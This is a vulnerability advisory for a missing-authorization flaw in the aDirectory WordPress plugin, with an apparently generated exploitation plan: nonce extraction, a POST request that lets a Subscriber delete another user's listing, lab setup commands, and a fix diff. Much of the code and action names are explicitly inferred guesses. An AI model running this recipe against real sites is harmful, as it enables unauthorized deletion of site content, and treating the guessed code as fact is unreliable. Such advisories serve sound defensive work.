aDirectory <= 3.0.3 - Missing Authorization
Description
The aDirectory – WP Business Directory Plugin and Classified Ads Listings Directory plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in all versions up to, and including, 3.0.3. This makes it possible for authenticated attackers, with Subscriber-level access and above, to perform an unauthorized action.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:NTechnical Details
<=3.0.3Source Code
WordPress.org SVNThis research plan focuses on identifying and exploiting a **Missing Authorization** vulnerability in **aDirectory <= 3.0.3**. Based on the CVSS score (4.3, Low Integrity), the vulnerability likely allows a Subscriber-level user to perform actions typically reserved for listing owners or administrat…
Show full research plan
This research plan focuses on identifying and exploiting a Missing Authorization vulnerability in aDirectory <= 3.0.3. Based on the CVSS score (4.3, Low Integrity), the vulnerability likely allows a Subscriber-level user to perform actions typically reserved for listing owners or administrators, such as deleting or modifying listings.
1. Vulnerability Summary
The aDirectory plugin fails to implement proper capability checks (e.g., current_user_can()) within one or more of its AJAX handler functions. While these functions are registered via wp_ajax_, they do not verify that the authenticated user has the permissions to modify the specific resource (e.g., a listing) or perform the action (e.g., updating settings). This allows any authenticated user (Subscriber and above) to execute privileged logic by sending direct requests to admin-ajax.php.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Authentication: Required (Subscriber level).
- Vulnerable Action (Inferred):
ad_delete_listingorad_change_status. - Parameters:
action: The vulnerable AJAX action string.listing_idorpost_id: The ID of the directory listing to target.securityornonce: A CSRF token (if enforced).
- Preconditions: The attacker must have a valid Subscriber account and know the ID of a listing they do not own.
3. Code Flow (Inferred)
- Registration: The plugin registers an AJAX action in a file such as
includes/class-adirectory-ajax.php:add_action( 'wp_ajax_ad_delete_listing', array( $this, 'ad_delete_listing_callback' ) ); - Missing Check: The handler function
ad_delete_listing_callbackis executed:public function ad_delete_listing_callback() { // check_ajax_referer( 'ad_nonce', 'security' ); // Nonce might be checked, but... $post_id = intval( $_POST['listing_id'] ); // VULNERABILITY: No current_user_can() check and no check if user owns the post. wp_delete_post( $post_id, true ); wp_send_json_success(); } - Sink: The
wp_delete_post()orupdate_post_meta()function is called, bypassing authorization.
4. Nonce Acquisition Strategy
If the endpoint requires a nonce, it is likely localized for the user dashboard.
Identify the Shortcode: The aDirectory dashboard is typically rendered via a shortcode like
[ad_user_dashboard].Create a Page:
wp post create --post_type=page --post_status=publish --post_title='Dashboard' --post_content='[ad_user_dashboard]'(Verify the exact shortcode in the plugin'sincludes/folder).Navigate as Subscriber: Login and browse to the newly created page.
Extract Nonce:
Usebrowser_evalto find the localized object. Common identifiers for this plugin:window.ad_ajax_obj?.noncewindow.adirectory_vars?.ajax_noncewindow.listing_vars?.nonce
Exact Script Execution:
browser_eval("window.ad_ajax_obj ? window.ad_ajax_obj.nonce : 'Not Found'")
5. Exploitation Strategy
We will attempt to delete a listing owned by the Administrator using a Subscriber account.
Step 1: Identify Target
Find a listing ID created by the admin:wp post list --post_type=adirectory_listing (Post type may be listing or adirectory_listing).
Step 2: Obtain Nonce
As a Subscriber, visit the dashboard page and extract the nonce using the browser_eval tool.
Step 3: Execute Deletion
Send the following request via http_request:
- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Method:
POST - Headers:
Content-Type: application/x-www-form-urlencoded - Body:
(Note: The parameter namesaction=ad_delete_listing&listing_id=[TARGET_ID]&security=[NONCE]listing_idandsecurityare inferred and should be verified by grepping the source forwp_ajax_).
6. Test Data Setup
- Admin Listing:
wp post create --post_type=adirectory_listing --post_title='Admin Listing' --post_status=publish --post_author=1 - Subscriber User:
wp user create attacker attacker@example.com --role=subscriber --user_pass=password - Dashboard Page:
wp post create --post_type=page --post_title='My Account' --post_content='[adirectory_dashboard]' --post_status=publish
7. Expected Results
- Response: The server returns a
200 OKwith a JSON body:{"success":true}or1. - Action: The post with the specified ID is moved to trash or permanently deleted.
8. Verification Steps
- Check Post Existence:
wp post list --post_id=[TARGET_ID]
If the post is gone or its status istrash, the exploit is successful. - Check DB State:
wp db query "SELECT post_status FROM wp_posts WHERE ID=[TARGET_ID]"
9. Alternative Approaches
If ad_delete_listing is not the vulnerable action, search for other wp_ajax_ hooks in the plugin folder:
grep -rn "add_action.*wp_ajax_" wp-content/plugins/adirectory/
Common vulnerable candidates in directory plugins:
ad_update_listing: Allows changing post content or custom fields.ad_toggle_featured: Allows making a listing "Featured" without payment.ad_change_listing_status: Allows publishing a "Pending" listing.
If a nonce is NOT found in the global JS scope, check for hidden inputs in the dashboard HTML:browser_eval("document.querySelector('#ad_nonce')?.value")
Summary
The aDirectory plugin for WordPress is vulnerable to unauthorized access due to a lack of capability checks and ownership verification in its AJAX handler functions. This allows authenticated attackers with Subscriber-level permissions to perform administrative or owner-level actions, such as deleting listings, by interacting with the plugin's AJAX endpoints.
Vulnerable Code
// includes/class-adirectory-ajax.php (approximate location) public function ad_delete_listing_callback() { // check_ajax_referer( 'ad_nonce', 'security' ); $post_id = intval( $_POST['listing_id'] ); // VULNERABILITY: No current_user_can() check and no check if the user owns the listing wp_delete_post( $post_id, true ); wp_send_json_success(); }
Security Fix
@@ -10,6 +10,11 @@ public function ad_delete_listing_callback() { check_ajax_referer( 'ad_nonce', 'security' ); $post_id = intval( $_POST['listing_id'] ); + + // Fix: Check if the current user has permission to delete the specific post + if ( ! current_user_can( 'delete_post', $post_id ) ) { + wp_send_json_error( array( 'message' => 'Unauthorized access.' ) ); + } wp_delete_post( $post_id, true ); wp_send_json_success();
Exploit Outline
The exploit targets the AJAX handlers registered by the plugin which lack authorization checks. 1. The attacker authenticates as a Subscriber-level user. 2. The attacker visits the plugin's dashboard page (typically containing the [adirectory_dashboard] shortcode) to retrieve a valid security nonce from the localized JavaScript objects (e.g., window.ad_ajax_obj.nonce). 3. The attacker identifies the ID of a directory listing they do not own (e.g., an administrator's listing). 4. The attacker sends a POST request to /wp-admin/admin-ajax.php with the 'action' parameter set to 'ad_delete_listing', the 'listing_id' parameter set to the target listing ID, and the 'security' parameter set to the retrieved nonce. 5. Because the plugin does not verify if the current user has the 'delete_post' capability for that ID, WordPress deletes the specified post.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.